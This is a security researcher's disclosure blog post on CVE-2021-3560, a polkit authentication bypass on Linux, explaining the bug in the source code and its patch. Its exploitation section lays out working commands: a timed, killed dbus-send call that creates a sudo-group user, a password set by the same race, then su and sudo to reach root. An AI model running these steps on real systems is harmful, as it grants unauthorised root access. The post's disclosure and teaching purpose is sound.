# Privilege escalation with polkit: How to get root on Linux with a seven-
year-old bug
![Image of Kevin Backhouse](https://images.seebug.org/1623742696154-w331s)
Kevin Backhouse
](https://github.blog/author/kevinbackhouse/)
[polkit](https://gitlab.freedesktop.org/polkit/polkit/) is a system service
installed by default on many Linux distributions. It's used by
[systemd](https://systemd.io/), so any Linux distribution that uses systemd
also uses polkit. As a member of [GitHub Security
Lab](https://securitylab.github.com/), my job is to help improve the security
of open source software by finding and reporting vulnerabilities. A few weeks
ago, I found a privilege escalation vulnerability in polkit. I coordinated the
disclosure of the vulnerability with the polkit maintainers and with [Red
Hat's security team.](https://access.redhat.com/security/overview/) It was
publicly disclosed, the fix was released on June 3, 2021, and it was assigned
[CVE-2021-3560](https://access.redhat.com/security/cve/CVE-2021-3560).
The vulnerability enables an unprivileged local user to get a root shell on
the system. It's easy to exploit with a few standard command line tools, as
you can see in this [short video](https://youtu.be/QZhz64yEd0g). In this blog
post, I'll explain how the exploit works and show you where the bug was in the
source code.
**Table of contents**
* History of CVE-2021-3560 and vulnerable distributions
* About polkit
* Exploitation steps
* polkit architecture
* The vulnerability
* org.freedesktop.policykit.imply annotations
* Conclusion
## History of CVE-2021-3560 and vulnerable distributions
The bug I found was quite old. It was introduced seven years ago in commit
[bfa5036](https://gitlab.freedesktop.org/polkit/polkit/-/commit/bfa5036bfb93582c5a87c44b847957479d911e38)
and first shipped with polkit version 0.113. However, many of the most popular
Linux distributions didn't ship the vulnerable version until more recently.
The bug has a slightly different history on [Debian](https://www.debian.org/)
and its derivatives (such as [Ubuntu](https://ubuntu.com/)), because Debian
uses a [fork of polkit](https://salsa.debian.org/utopia-team/polkit) with a
different version numbering scheme. In the Debian fork, the bug was introduced
in commit [f81d021](https://salsa.debian.org/utopia-
team/polkit/-/commit/f81d021e3cb97a0816285eb95c2a77f554d30966) and first
shipped with version 0.105-26. The most recent stable release of Debian,
[Debian 10 ("buster")](https://www.debian.org/releases/buster/), uses version
0.105-25, which means that it isn't vulnerable. However, some Debian
derivatives, such as Ubuntu, are based on [Debian
unstable](https://www.debian.org/releases/sid/), which is vulnerable.
Here's a table with a selection of popular distributions and whether they're
vulnerable (note that this isn't a comprehensive list):
| Distribution | Vulnerable? |
| --------------------------- | ------------------------------------------------------------ |
| RHEL 7 | No |
| RHEL 8 | [Yes](https://access.redhat.com/security/cve/CVE-2021-3560) |
| Fedora 20 (or earlier) | No |
| Fedora 21 (or later) | [Yes](https://bugzilla.redhat.com/show_bug.cgi?id=1967424) |
| Debian 10 (“buster”) | No |
| Debian testing (“bullseye”) | [Yes](https://security-tracker.debian.org/tracker/CVE-2021-3560) |
| Ubuntu 18.04 | No |
| Ubuntu 20.04 | [Yes](https://ubuntu.com/security/CVE-2021-3560) |
## About polkit
[polkit](https://gitlab.freedesktop.org/polkit/polkit/) is the system service
that's running under the hood when you see a dialog box like the one below:
![Screenshot of polkit dialog box prompting
authentication](https://images.seebug.org/1623742697967-w331s)
It essentially plays the role of a judge. If you want to do something that
requires higher privileges--for example, creating a new user account--then
it's polkit's job to decide whether or not you're allowed to do it. For some
requests, polkit will make an instant decision to allow or deny, and for
others it will pop up a dialog box so that an administrator can grant
authorization by entering their password.
The dialog box might give the impression that polkit is a graphical system,
but it's actually a background process. The dialog box is known as an
_authentication agent_ and it's really just a mechanism for sending your
password to polkit. To illustrate that polkit isn't just for graphical
sessions, try running this command in a terminal:
pkexec reboot
[`pkexec`](https://manpages.ubuntu.com/manpages/focal/en/man1/pkexec.1.html)
is a similar command to
[`sudo`](https://manpages.ubuntu.com/manpages/focal/en/man8/sudo.8.html),
which enables you to run a command as root. If you run `pkexec` in a graphical
session, it will pop up a dialog box, but if you run it in a text-mode session
such as SSH then it starts its own text-mode authentication agent:
$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)
Password:
Another command that you can use to trigger `polkit` from the command line is
[`dbus-send`](https://manpages.ubuntu.com/manpages/focal/en/man1/dbus-
send.1.html). It's a general purpose tool for sending D-Bus messages that's
mainly used for testing, but it's usually installed by default on systems that
use D-Bus. It can be used to simulate the D-Bus messages that the graphical
interface might send. For example, this is the command to create a new user:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
If you run that command in a graphical session, an authentication dialog box
will pop up, but if you run it in a text-mode session such as
[SSH](https://www.openssh.com/), then it fails immediately. That's because,
unlike `pkexec`, `dbus-send` does not start its own authentication agent.
## Exploitation steps
The vulnerability is surprisingly easy to exploit. All it takes is a few
commands in the terminal using only standard tools like[`bash`](https://manpages.ubuntu.com/manpages/focal/en/man1/bash.1.html),[`kill`](https://manpages.ubuntu.com/manpages/focal/en/man1/kill.1.html), and[`dbus-send`](https://manpages.ubuntu.com/manpages/focal/en/man1/dbus-
send.1.html).
The proof of concept (PoC) exploit I describe in this section depends on two
packages being installed: `accountsservice` and `gnome-control-center`. On a
graphical system such as Ubuntu Desktop, both of those packages are usually
installed by default. But if you're using something like a non-graphical RHEL
server, then you might need to install them, like this:
sudo yum install accountsservice gnome-control-center
Of course, the vulnerability doesn't have anything specifically to do with
either `accountsservice` or `gnome-control-center`. They're just polkit
clients that happen to be convenient vectors for exploitation. The reason why
the PoC depends on `gnome-control-center` and not just `accountsservice` is
subtle--I'll explain that later.
To avoid repeatedly triggering the authentication dialog box (which can be
annoying), I recommend running the commands from an SSH session:
ssh localhost
The vulnerability is triggered by starting a `dbus-send` command but killing
it while polkit is still in the middle of processing the request. I like to
think that it's theoretically possible to trigger by smashing Ctrl+C at just
the right moment, but I've never succeeded, so I do it with a small amount of
bash scripting instead. First, you need to measure how long it takes to run
the `dbus-send` command normally:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
The output will look something like this:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
real 0m0.016s
user 0m0.005s
sys 0m0.000s
That took 16 milliseconds for me, so that means that I need to kill the `dbus-
send` command after approximately 8 milliseconds:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
You might need to run that a few times, and you might need to experiment with
the number of milliseconds in the delay. When the exploit succeeds, you'll see
that a new user named `boris` has been created:
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)
Notice that `boris` is a member of the `sudo` group, so you're already well on
your way to full privilege escalation. Next, you need to set a password for
the new account. The D-Bus interface expects a hashed password, which you can
create using `openssl`:
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB
Now you just have to do the same trick again, except this time call the
`SetPassword` D-Bus method:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
Again, you might need to experiment with the length of the delay and run it
several times until it succeeds. Also, note that you need to paste in the
correct user identifier (UID), which is "1002" in this example, plus the
password hash from the `openssl` command.
Now you can login as boris and become root:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!
![](https://images.seebug.org/1623742699054-w331s)
## polkit architecture
To help explain the vulnerability, here's a diagram of the five main processes
involved during the `dbus-send` command:
![Diagram showing five processes involved in dbus-send command: "d-bus send"
and "authentication agent" above the line, and "accounts-daemon" and "polkit"
below the line, with dbus-daemon serving as the go-
between](https://images.seebug.org/1623742700554-w331s)
The two processes above the dashed line--`dbus-send` and the authentication
agent--are unprivileged user processes. Those below the line are privileged
system processes. In the center is `dbus-daemon`, which handles all of the
communication: the other four processes communicate with each other by sending
D-Bus messages.
`dbus-daemon` plays a very important role in the security of polkit, because
it enables the four processes to communicate securely and check each other's
credentials. For example, when the authentication agent sends an
authentication cookie to polkit, it does so by sending it to the
`org.freedesktop.PolicyKit1` D-Bus address. Since that address is only allowed
to be registered by a root process, there is no risk of an unprivileged
process intercepting messages. `dbus-daemon` also assigns every connection a
"unique bus name:" typically something like ":1.96". It's a bit like a process
identifier (PID), except without being vulnerable to [PID recycling
attacks](https://securitylab.github.com/research/ubuntu-apport-
CVE-2019-15790/). Unique bus names are currently chosen from a 64-bit range,
so there's no risk of a vulnerability caused by a name being reused.
This is the sequence of events:
1. `dbus-send` asks `accounts-daemon` to create a new user.
2. `accounts-daemon` receives the D-Bus message from `dbus-send`. The message includes the unique bus name of the sender. Let's assume it's ":1.96". This name is attached to the message by `dbus-daemon` and cannot be forged.
3. `accounts-daemon` asks polkit if connection :1.96 is authorized to create a new user.
4. polkit asks `dbus-daemon` for the UID of connection :1.96.
5. If the UID of connection :1.96 is "0," then polkit immediately authorizes the request. Otherwise, it sends the authentication agent a list of administrator users who are allowed to authorize the request.
6. The authentication agent opens a dialog box to get the password from the user.
7. The authentication agent sends the password to polkit.
8. polkit sends a "yes" reply back to `accounts-daemon`.
9. `accounts-daemon` creates the new user account.
## The vulnerability
Why does killing the `dbus-send` command cause an authentication bypass? The
vulnerability is in step four of the sequence of events listed above. What
happens if polkit asks `dbus-daemon` for the UID of connection :1.96, but
connection :1.96 no longer exists? `dbus-daemon` handles that situation
correctly and returns an error. But it turns out that polkit does not handle
that error correctly. In fact, polkit mishandles the error in a particularly
unfortunate way: rather than rejecting the request, it treats the request as
though it came from a process with UID 0. In other words, it immediately
authorizes the request because it thinks the request has come from a root
process.
Why is the timing of the vulnerability non-deterministic? It turns out that
polkit asks `dbus-daemon` for the UID of the requesting process multiple
times, on different codepaths. Most of those codepaths handle the error
correctly, but one of them doesn't. If you kill the `dbus-send` command early,
it's handled by one of the correct codepaths and the request is rejected. To
trigger the vulnerable codepath, you have to disconnect at just the right
moment. And because there are multiple processes involved, the timing of that
"right moment" varies from one run to the next. That's why it usually takes a
few tries for the exploit to succeed. I'd guess it's also the reason why the
bug wasn't previously discovered. If you could trigger the vulnerability by
killing the `dbus-send` command immediately, then I expect it would have been
discovered a long time ago, because that's a much more obvious thing to test
for.
The function which asks `dbus-daemon` for the UID of the requesting connection
is named
[`polkit_system_bus_name_get_creds_sync`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/bfa5036bfb93582c5a87c44b847957479d911e38/src/polkit/polkitsystembusname.c#L388):
static gboolean
polkit_system_bus_name_get_creds_sync (
PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
The behavior of
[`polkit_system_bus_name_get_creds_sync`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L388)
is strange, because when an error occurs, the function sets the error
parameter but still returns `TRUE`. It wasn't clear to me, when I wrote my
[bug report](https://gitlab.freedesktop.org/polkit/polkit/-/issues/140),
whether that was a bug or a deliberate design choice. (It turns out that it
was a bug, because the polkit developers have [fixed the
vulnerability](https://gitlab.freedesktop.org/polkit/polkit/-/commit/a04d13affe0fa53ff618e07aa8f57f4c0e3b9b81)
by returning `FALSE` on error.) My uncertainty arose from the fact that
_almost all_ the callers of `polkit_system_bus_name_get_creds_sync` don't just
check the Boolean result, but also check that the error value is still `NULL`
before proceeding. The cause of the vulnerability was that the error value
wasn't checked in the following stack trace:
0 in polkit_system_bus_name_get_creds_sync of [polkitsystembusname.c:388](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L388)
1 in polkit_system_bus_name_get_user_sync of [polkitsystembusname.c:511](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L511)
2 in polkit_backend_session_monitor_get_user_for_subject of [polkitbackendsessionmonitor-systemd.c:303](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendsessionmonitor-systemd.c#L303)
3 in check_authorization_sync of [polkitbackendinteractiveauthority.c:1121](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1121)
4 in check_authorization_sync of [polkitbackendinteractiveauthority.c:1227](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1227)
5 in polkit_backend_interactive_authority_check_authorization of [polkitbackendinteractiveauthority.c:981](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L981)
6 in polkit_backend_authority_check_authorization of [polkitbackendauthority.c:227](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendauthority.c#L227)
7 in server_handle_check_authorization of [polkitbackendauthority.c:790](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendauthority.c#L790)
7 in server_handle_method_call of [polkitbackendauthority.c:1272](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendauthority.c#L1272)
The bug is in this snippet of code in
[`check_authorization_sync`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1121):
/* every subject has a user; this is supplied by the client, so we rely
* on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL)
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
Notice that the value of `error` is not checked.
## `org.freedesktop.policykit.imply` annotations
I mentioned earlier that my PoC depends on `gnome-control-center` being
installed, in addition to `accountsservice`. Why is that? The PoC doesn't use
`gnome-control-center` in any visible way, and I didn't even realize that I
was depending on it when I wrote the PoC! In fact, I only found out because
the Red Hat security team couldn't reproduce my PoC on RHEL. When I tried it
for myself on a RHEL 8.4 VM, I also found that the PoC didn't work. That was
puzzling, because it was working beautifully on Fedora 32 and CentOS Stream.
The crucial difference, it turned out, was that my RHEL VM was a non-graphical
server with no GNOME installed. So why does that matter? The answer is
`policykit.imply` annotations.
Some polkit actions are essentially equivalent to each other, so if one has
already been authorized then it makes sense to silently authorize the other.
The GNOME settings dialog is a good example:
![Screenshot of GNOME settings
dialog](https://images.seebug.org/1623742702451-w331s)
After you've clicked the "Unlock" button and entered your password, you can do
things like adding a new user account without having to authenticate a second
time. That's handled by a `policykit.imply` annotation, which is defined in
this [config file](https://gitlab.gnome.org/GNOME/gnome-control-
center/-/blob/54eb734eaaa95807dd805fbe4e4ad0dceb787736/panels/user-
accounts/org.gnome.controlcenter.user-accounts.policy.in):
/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
The config file contains the following implication:
![](https://images.seebug.org/1623742706326-w331s)
In other words, if you're authorized to perform `controlcenter` admin actions,
then you're also authorized to perform `accountsservice` admin actions.
When I attached [GDB](https://www.gnu.org/software/gdb/) to polkit on my RHEL
VM, I found that I wasn't seeing the vulnerable stack trace that I listed
earlier. Notice that step four of the stack trace is a recursive call from
`check_authorization_sync` to itself. That happens on [line
1227](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1227),
which is where polkit checks the `policykit.imply` annotations:
PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;
imply_action_id = polkit_action_description_get_action_id (imply_ad);
/* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */
implied_result = check_authorization_sync (authority, caller, subject,
imply_action_id,
details, flags,
&implied_implicit_authorization, TRUE,
&implied_error);
if (implied_result != NULL)
{
if (polkit_authorization_result_get_is_authorized (implied_result))
{
g_debug (" is authorized (implied by %s)", imply_action_id);
result = implied_result;
/* cleanup */
g_strfreev (tokens);
goto out;
}
g_object_unref (implied_result);
}
if (implied_error != NULL)
g_error_free (implied_error);
The authentication bypass depends on the error value getting ignored. It was
ignored on [line
1121](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1121),
but it's still stored in the `error` parameter, so it also needs to be ignored
by the caller. The block of code above has a temporary variable named
`implied_error`, which is ignored when `implied_result` isn't null. That's the
crucial step that makes the bypass possible.
To sum up, the authentication bypass only works on polkit actions that are
implied by another polkit action. That's why my PoC only works if
gnome-`control-center` is installed: it adds the `policykit.imply` annotation
that enables me to target `accountsservice`. That does not mean that RHEL is
safe from this vulnerability, though. Another attack vector for the
vulnerability is [`packagekit`](https://packagekit.freedesktop.org/), which is
installed by default on RHEL and has a suitable `policykit.imply` annotation
for the `package-install` action. `packagekit` is used to install packages, so
it can be exploited to install `gnome-control-center`, after which the rest of
the exploit works as before.
## Conclusion
CVE-2021-3560 enables an unprivileged local attacker to gain root privileges.
It's very simple and quick to exploit, so it's important that you update your
Linux installations as soon as possible. Any system that has polkit version
0.113 (or later) installed is vulnerable. That includes popular distributions
such as RHEL 8 and Ubuntu 20.04.
And if you like nerding out about security vulnerabilities (and how to fix
them) check out some of the other work that the [Security
Lab](https://securitylab.github.com/) team is doing or follow us on
[Twitter](https://twitter.com/GHSecurityLab).
**Tags:** [GitHub Security Lab](https://github.blog/tag/github-security-lab/)
Unavailable Comments